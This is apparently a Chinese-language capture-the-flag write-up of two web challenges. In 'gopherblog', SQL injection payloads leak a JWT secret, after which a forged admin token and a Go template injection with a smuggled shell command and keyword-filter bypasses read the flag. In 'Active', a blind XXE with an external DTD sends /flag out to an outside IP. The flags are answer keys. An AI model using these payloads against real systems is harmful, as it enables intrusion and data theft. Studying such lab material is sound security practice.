本文最后更新于 2026年3月30日 下午
被ai杀爆了
gopherblog
1
| GET /api/posts/search?q=' OR 1=1 --
|
返回了所有文章,存在SQL注入漏洞
1
| ' UNION SELECT 1,name,sql,2,3',4 FROM sqlite_master WHERE type='table'
|
查表,有users,settings,posts三个表
1
| ' UNION SELECT 999,key,value,'a','b','c' FROM settings --
|
对应请求:
1
| GET /api/posts/search?q=%27%20UNION%20SELECT%20999,key,value,%27a%27,%27b%27,%27c%27%20FROM%20settings%20--%20
|
返回结果中可以直接看到:
1
| {"id":999,"title":"jwt_secret","content":"3216f601fecdb4f78b78445ef85c2c659edc44abc09c4c3a", ...}
|
所以拿到:
1
| jwt_secret = 3216f601fecdb4f78b78445ef85c2c659edc44abc09c4c3a
|
接下来伪造一个admin用户

我们带着这个token就可以访问/admin
访问撰稿页面/admin/newsletter,有这样一个提示
1 2
| Template Variables: Use Go template syntax to insert dynamic content. {{ .Title }} — Newsletter title | {{ .Content }} — Body content | {{ .Site.Name }} — Site name | {{ .Site.URL }} — Site URL | {{ .Date }} — Current date | {{ .Year }} — Current year | {{ .Mailer.From }} — Sender email | {{ .Mailer.Host }} — SMTP host
|
也就是说邮件模板使用了GO Template,推测存在模板注入漏洞
POST /admin/newsletter 且 action=preview 时,服务端会:
- 读取用户提交的
template
- 调用
main.checkTemplateContent 做黑名单检查
- 用
text/template 解析并执行用户模板
虽然它做了黑名单过滤,但过滤并不彻底,因为模板中仍然可以调用对象方法。
先用探针确认上下文对象:
返回:
1
| &main.NewsletterData{Title:"...", Content:"...", Site:(*main.SiteConfig)(...), Mailer:(*main.MailService)(...), ...}
|
继续探测 Mailer:
1
| {{ printf "%#v" .Mailer }}
|
可见:
1
| &main.MailService{Host:"mail.gopherblog.local", Port:587, From:"newsletter@gopherblog.local"}
|
继续测方法:
- {{ .Mailer.Ping }} 可执行并返回命令输出
- {{ .Mailer.Configure "..." 80 }} 可修改 Mailer 配置
构造模板:
1
| {{ .Mailer.Configure "127.0.0.1;id;#" 80 }}{{ .Mailer.Ping }}
|
返回中出现:
说明已拿到命令执行能力(root 权限)
WAF 对部分关键字有拦截(如 flag, cat, head 等),但可以绕过:
- 路径不直接写 /flag,改用 /f*
- 命令不用 cat,改用 fold(未被拦)
最终 payload:
1
| {{ .Mailer.Configure "127.0.0.1;fold /f*;#" 80 }}{{ .Mailer.Ping }}
|

1
| flag{a486b0b1-c9c4-4083-9652-9ed0d9f437df}
|
Active
用dirsearch扫一下目录,发现back.jar
使用jd-gui工具反编译jar包,我们在admin.html中发现了一个解析xml的接口/parse/sax-parser
我们先post一个正常的xml观察是否被解析

成功解析了,但是只有XML Loaded Successfully的提示,也就是没有回显
下面我们尝试把数据外带
写一个1.dtd放在服务器上
1 2
| <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://183.66.27.22:42916/?p=%file;'>">
|
注入xml实现数据外带
1 2 3 4 5 6 7
| <!DOCTYPE conver [ <!ENTITY % remote SYSTEM "http://183.66.27.22:18546/2.dtd"> %remote; %int; %send; ]> <user><username>suny</username><password>suny</password></user>
|

1
| flag{eb61732e-195c-4ffc-8faa-1002427e07ea}
|